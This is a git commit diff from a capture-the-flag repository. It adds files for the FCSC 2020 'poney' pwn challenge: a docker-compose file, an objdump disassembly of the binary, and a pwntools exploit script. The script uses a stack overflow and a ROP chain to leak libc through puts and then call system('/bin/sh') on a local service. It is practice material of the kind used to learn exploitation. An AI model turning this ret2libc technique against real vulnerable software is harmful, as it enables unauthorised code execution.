added all ctfs
This commit is contained in:
6
hackerpole/pwn/pwn_poney/docker-compose.yml
Normal file
6
hackerpole/pwn/pwn_poney/docker-compose.yml
Normal file
@@ -0,0 +1,6 @@
|
||||
version: '3.9'
|
||||
services:
|
||||
poney:
|
||||
image: anssi/fcsc2020-pwn-poney:latest
|
||||
ports:
|
||||
- "4000:4000"
|
||||
210
hackerpole/pwn/pwn_poney/dump.txt
Normal file
210
hackerpole/pwn/pwn_poney/dump.txt
Normal file
@@ -0,0 +1,210 @@
|
||||
|
||||
poney: file format elf64-x86-64
|
||||
|
||||
|
||||
Disassembly of section .init:
|
||||
|
||||
0000000000400528 <_init>:
|
||||
400528: 48 83 ec 08 sub rsp,0x8
|
||||
40052c: 48 8b 05 b5 0a 20 00 mov rax,QWORD PTR [rip+0x200ab5] # 600fe8 <__gmon_start__>
|
||||
400533: 48 85 c0 test rax,rax
|
||||
400536: 74 02 je 40053a <_init+0x12>
|
||||
400538: ff d0 call rax
|
||||
40053a: 48 83 c4 08 add rsp,0x8
|
||||
40053e: c3 ret
|
||||
|
||||
Disassembly of section .plt:
|
||||
|
||||
0000000000400540 <.plt>:
|
||||
400540: ff 35 72 0a 20 00 push QWORD PTR [rip+0x200a72] # 600fb8 <_GLOBAL_OFFSET_TABLE_+0x8>
|
||||
400546: ff 25 74 0a 20 00 jmp QWORD PTR [rip+0x200a74] # 600fc0 <_GLOBAL_OFFSET_TABLE_+0x10>
|
||||
40054c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
Disassembly of section .plt.got:
|
||||
|
||||
0000000000400550 <puts@plt>:
|
||||
400550: ff 25 72 0a 20 00 jmp QWORD PTR [rip+0x200a72] # 600fc8 <puts@GLIBC_2.2.5>
|
||||
400556: 66 90 xchg ax,ax
|
||||
|
||||
0000000000400558 <system@plt>:
|
||||
400558: ff 25 72 0a 20 00 jmp QWORD PTR [rip+0x200a72] # 600fd0 <system@GLIBC_2.2.5>
|
||||
40055e: 66 90 xchg ax,ax
|
||||
|
||||
0000000000400560 <printf@plt>:
|
||||
400560: ff 25 72 0a 20 00 jmp QWORD PTR [rip+0x200a72] # 600fd8 <printf@GLIBC_2.2.5>
|
||||
400566: 66 90 xchg ax,ax
|
||||
|
||||
0000000000400568 <fflush@plt>:
|
||||
400568: ff 25 82 0a 20 00 jmp QWORD PTR [rip+0x200a82] # 600ff0 <fflush@GLIBC_2.2.5>
|
||||
40056e: 66 90 xchg ax,ax
|
||||
|
||||
0000000000400570 <__isoc99_scanf@plt>:
|
||||
400570: ff 25 82 0a 20 00 jmp QWORD PTR [rip+0x200a82] # 600ff8 <__isoc99_scanf@GLIBC_2.7>
|
||||
400576: 66 90 xchg ax,ax
|
||||
|
||||
Disassembly of section .text:
|
||||
|
||||
0000000000400580 <_start>:
|
||||
400580: 31 ed xor ebp,ebp
|
||||
400582: 49 89 d1 mov r9,rdx
|
||||
400585: 5e pop rsi
|
||||
400586: 48 89 e2 mov rdx,rsp
|
||||
400589: 48 83 e4 f0 and rsp,0xfffffffffffffff0
|
||||
40058d: 50 push rax
|
||||
40058e: 54 push rsp
|
||||
40058f: 49 c7 c0 50 07 40 00 mov r8,0x400750
|
||||
400596: 48 c7 c1 e0 06 40 00 mov rcx,0x4006e0
|
||||
40059d: 48 c7 c7 89 06 40 00 mov rdi,0x400689
|
||||
4005a4: ff 15 36 0a 20 00 call QWORD PTR [rip+0x200a36] # 600fe0 <__libc_start_main@GLIBC_2.2.5>
|
||||
4005aa: f4 hlt
|
||||
4005ab: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
|
||||
|
||||
00000000004005b0 <deregister_tm_clones>:
|
||||
4005b0: b8 17 10 60 00 mov eax,0x601017
|
||||
4005b5: 55 push rbp
|
||||
4005b6: 48 2d 10 10 60 00 sub rax,0x601010
|
||||
4005bc: 48 83 f8 0e cmp rax,0xe
|
||||
4005c0: 48 89 e5 mov rbp,rsp
|
||||
4005c3: 76 1b jbe 4005e0 <deregister_tm_clones+0x30>
|
||||
4005c5: b8 00 00 00 00 mov eax,0x0
|
||||
4005ca: 48 85 c0 test rax,rax
|
||||
4005cd: 74 11 je 4005e0 <deregister_tm_clones+0x30>
|
||||
4005cf: 5d pop rbp
|
||||
4005d0: bf 10 10 60 00 mov edi,0x601010
|
||||
4005d5: ff e0 jmp rax
|
||||
4005d7: 66 0f 1f 84 00 00 00 nop WORD PTR [rax+rax*1+0x0]
|
||||
4005de: 00 00
|
||||
4005e0: 5d pop rbp
|
||||
4005e1: c3 ret
|
||||
4005e2: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
|
||||
4005e6: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
|
||||
4005ed: 00 00 00
|
||||
|
||||
00000000004005f0 <register_tm_clones>:
|
||||
4005f0: be 10 10 60 00 mov esi,0x601010
|
||||
4005f5: 55 push rbp
|
||||
4005f6: 48 81 ee 10 10 60 00 sub rsi,0x601010
|
||||
4005fd: 48 c1 fe 03 sar rsi,0x3
|
||||
400601: 48 89 e5 mov rbp,rsp
|
||||
400604: 48 89 f0 mov rax,rsi
|
||||
400607: 48 c1 e8 3f shr rax,0x3f
|
||||
40060b: 48 01 c6 add rsi,rax
|
||||
40060e: 48 d1 fe sar rsi,1
|
||||
400611: 74 15 je 400628 <register_tm_clones+0x38>
|
||||
400613: b8 00 00 00 00 mov eax,0x0
|
||||
400618: 48 85 c0 test rax,rax
|
||||
40061b: 74 0b je 400628 <register_tm_clones+0x38>
|
||||
40061d: 5d pop rbp
|
||||
40061e: bf 10 10 60 00 mov edi,0x601010
|
||||
400623: ff e0 jmp rax
|
||||
400625: 0f 1f 00 nop DWORD PTR [rax]
|
||||
400628: 5d pop rbp
|
||||
400629: c3 ret
|
||||
40062a: 66 0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0]
|
||||
|
||||
0000000000400630 <__do_global_dtors_aux>:
|
||||
400630: 80 3d e1 09 20 00 00 cmp BYTE PTR [rip+0x2009e1],0x0 # 601018 <completed.6972>
|
||||
400637: 75 11 jne 40064a <__do_global_dtors_aux+0x1a>
|
||||
400639: 55 push rbp
|
||||
40063a: 48 89 e5 mov rbp,rsp
|
||||
40063d: e8 6e ff ff ff call 4005b0 <deregister_tm_clones>
|
||||
400642: 5d pop rbp
|
||||
400643: c6 05 ce 09 20 00 01 mov BYTE PTR [rip+0x2009ce],0x1 # 601018 <completed.6972>
|
||||
40064a: f3 c3 repz ret
|
||||
40064c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
0000000000400650 <frame_dummy>:
|
||||
400650: bf e8 0d 60 00 mov edi,0x600de8
|
||||
400655: 48 83 3f 00 cmp QWORD PTR [rdi],0x0
|
||||
400659: 75 05 jne 400660 <frame_dummy+0x10>
|
||||
40065b: eb 93 jmp 4005f0 <register_tm_clones>
|
||||
40065d: 0f 1f 00 nop DWORD PTR [rax]
|
||||
400660: b8 00 00 00 00 mov eax,0x0
|
||||
400665: 48 85 c0 test rax,rax
|
||||
400668: 74 f1 je 40065b <frame_dummy+0xb>
|
||||
40066a: 55 push rbp
|
||||
40066b: 48 89 e5 mov rbp,rsp
|
||||
40066e: ff d0 call rax
|
||||
400670: 5d pop rbp
|
||||
400671: e9 7a ff ff ff jmp 4005f0 <register_tm_clones>
|
||||
|
||||
0000000000400676 <shell>:
|
||||
400676: 55 push rbp
|
||||
400677: 48 89 e5 mov rbp,rsp
|
||||
40067a: 48 8d 3d e7 00 00 00 lea rdi,[rip+0xe7] # 400768 <_IO_stdin_used+0x8>
|
||||
400681: e8 d2 fe ff ff call 400558 <system@plt>
|
||||
400686: 90 nop
|
||||
400687: 5d pop rbp
|
||||
400688: c3 ret
|
||||
|
||||
0000000000400689 <main>:
|
||||
400689: 55 push rbp
|
||||
40068a: 48 89 e5 mov rbp,rsp
|
||||
40068d: 48 83 ec 20 sub rsp,0x20
|
||||
400691: 48 8d 3d e0 00 00 00 lea rdi,[rip+0xe0] # 400778 <_IO_stdin_used+0x18>
|
||||
400698: e8 b3 fe ff ff call 400550 <puts@plt>
|
||||
40069d: 48 8d 3d 0c 01 00 00 lea rdi,[rip+0x10c] # 4007b0 <_IO_stdin_used+0x50>
|
||||
4006a4: b8 00 00 00 00 mov eax,0x0
|
||||
4006a9: e8 b2 fe ff ff call 400560 <printf@plt>
|
||||
4006ae: 48 8b 05 5b 09 20 00 mov rax,QWORD PTR [rip+0x20095b] # 601010 <stdout@GLIBC_2.2.5>
|
||||
4006b5: 48 89 c7 mov rdi,rax
|
||||
4006b8: e8 ab fe ff ff call 400568 <fflush@plt>
|
||||
4006bd: 48 8d 45 e0 lea rax,[rbp-0x20]
|
||||
4006c1: 48 89 c6 mov rsi,rax
|
||||
4006c4: 48 8d 3d ea 00 00 00 lea rdi,[rip+0xea] # 4007b5 <_IO_stdin_used+0x55>
|
||||
4006cb: b8 00 00 00 00 mov eax,0x0
|
||||
4006d0: e8 9b fe ff ff call 400570 <__isoc99_scanf@plt>
|
||||
4006d5: b8 00 00 00 00 mov eax,0x0
|
||||
4006da: c9 leave
|
||||
4006db: c3 ret
|
||||
4006dc: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
00000000004006e0 <__libc_csu_init>:
|
||||
4006e0: 41 57 push r15
|
||||
4006e2: 41 56 push r14
|
||||
4006e4: 41 89 ff mov r15d,edi
|
||||
4006e7: 41 55 push r13
|
||||
4006e9: 41 54 push r12
|
||||
4006eb: 4c 8d 25 e6 06 20 00 lea r12,[rip+0x2006e6] # 600dd8 <__frame_dummy_init_array_entry>
|
||||
4006f2: 55 push rbp
|
||||
4006f3: 48 8d 2d e6 06 20 00 lea rbp,[rip+0x2006e6] # 600de0 <__do_global_dtors_aux_fini_array_entry>
|
||||
4006fa: 53 push rbx
|
||||
4006fb: 49 89 f6 mov r14,rsi
|
||||
4006fe: 49 89 d5 mov r13,rdx
|
||||
400701: 4c 29 e5 sub rbp,r12
|
||||
400704: 48 83 ec 08 sub rsp,0x8
|
||||
400708: 48 c1 fd 03 sar rbp,0x3
|
||||
40070c: e8 17 fe ff ff call 400528 <_init>
|
||||
400711: 48 85 ed test rbp,rbp
|
||||
400714: 74 20 je 400736 <__libc_csu_init+0x56>
|
||||
400716: 31 db xor ebx,ebx
|
||||
400718: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
|
||||
40071f: 00
|
||||
400720: 4c 89 ea mov rdx,r13
|
||||
400723: 4c 89 f6 mov rsi,r14
|
||||
400726: 44 89 ff mov edi,r15d
|
||||
400729: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
|
||||
40072d: 48 83 c3 01 add rbx,0x1
|
||||
400731: 48 39 dd cmp rbp,rbx
|
||||
400734: 75 ea jne 400720 <__libc_csu_init+0x40>
|
||||
400736: 48 83 c4 08 add rsp,0x8
|
||||
40073a: 5b pop rbx
|
||||
40073b: 5d pop rbp
|
||||
40073c: 41 5c pop r12
|
||||
40073e: 41 5d pop r13
|
||||
400740: 41 5e pop r14
|
||||
400742: 41 5f pop r15
|
||||
400744: c3 ret
|
||||
400745: 90 nop
|
||||
400746: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
|
||||
40074d: 00 00 00
|
||||
|
||||
0000000000400750 <__libc_csu_fini>:
|
||||
400750: f3 c3 repz ret
|
||||
|
||||
Disassembly of section .fini:
|
||||
|
||||
0000000000400754 <_fini>:
|
||||
400754: 48 83 ec 08 sub rsp,0x8
|
||||
400758: 48 83 c4 08 add rsp,0x8
|
||||
40075c: c3 ret
|
||||
34
hackerpole/pwn/pwn_poney/exploit.py
Normal file
34
hackerpole/pwn/pwn_poney/exploit.py
Normal file
@@ -0,0 +1,34 @@
|
||||
from pwn import remote, log, p64, u64, time
|
||||
|
||||
with remote("localhost", 4000, fam="ipv4") as p:
|
||||
p.recvuntil(b">>> ")
|
||||
payload = b"A" * 0x20
|
||||
payload += p64(0x601100) # set rbp
|
||||
payload += p64(0x400743) # pop rdi
|
||||
payload += p64(0x600fc8) # puts got
|
||||
payload += p64(0x400550) # puts plt
|
||||
payload += p64(0x400689) # main addr
|
||||
log.info(payload)
|
||||
p.sendline(payload)
|
||||
leak = p.recvuntil(b"\n", drop=True)
|
||||
p.clean()
|
||||
puts_addr = u64(leak+b"\x00"*2)
|
||||
puts_offset = 0x68f90
|
||||
libc_base = puts_addr - puts_offset
|
||||
system_offset = 0x3f480
|
||||
system_addr = libc_base + system_offset
|
||||
bin_sh_offset = 0x161c19
|
||||
bin_sh_addr = libc_base + bin_sh_offset
|
||||
log.info(f"puts_addr: {hex(puts_addr)}")
|
||||
log.info(f"libc_base: {hex(libc_base)}")
|
||||
log.info(f"system_addr: {hex(system_addr)}")
|
||||
log.info(f"bin_sh_addr: {hex(bin_sh_addr)}")
|
||||
payload2 = b"B" * 0x28
|
||||
payload2 += p64(0x400743)
|
||||
payload2 += p64(bin_sh_addr)
|
||||
payload2 += p64(system_addr)
|
||||
log.info(payload2)
|
||||
p.sendline(payload2)
|
||||
time.sleep(0.1)
|
||||
p.sendline(b"cat flag.txt")
|
||||
log.info(p.clean().decode())
|
||||
BIN
hackerpole/pwn/pwn_poney/libc-2.24.so
Executable file
BIN
hackerpole/pwn/pwn_poney/libc-2.24.so
Executable file
Binary file not shown.
BIN
hackerpole/pwn/pwn_poney/poney
Executable file
BIN
hackerpole/pwn/pwn_poney/poney
Executable file
Binary file not shown.
Reference in New Issue
Block a user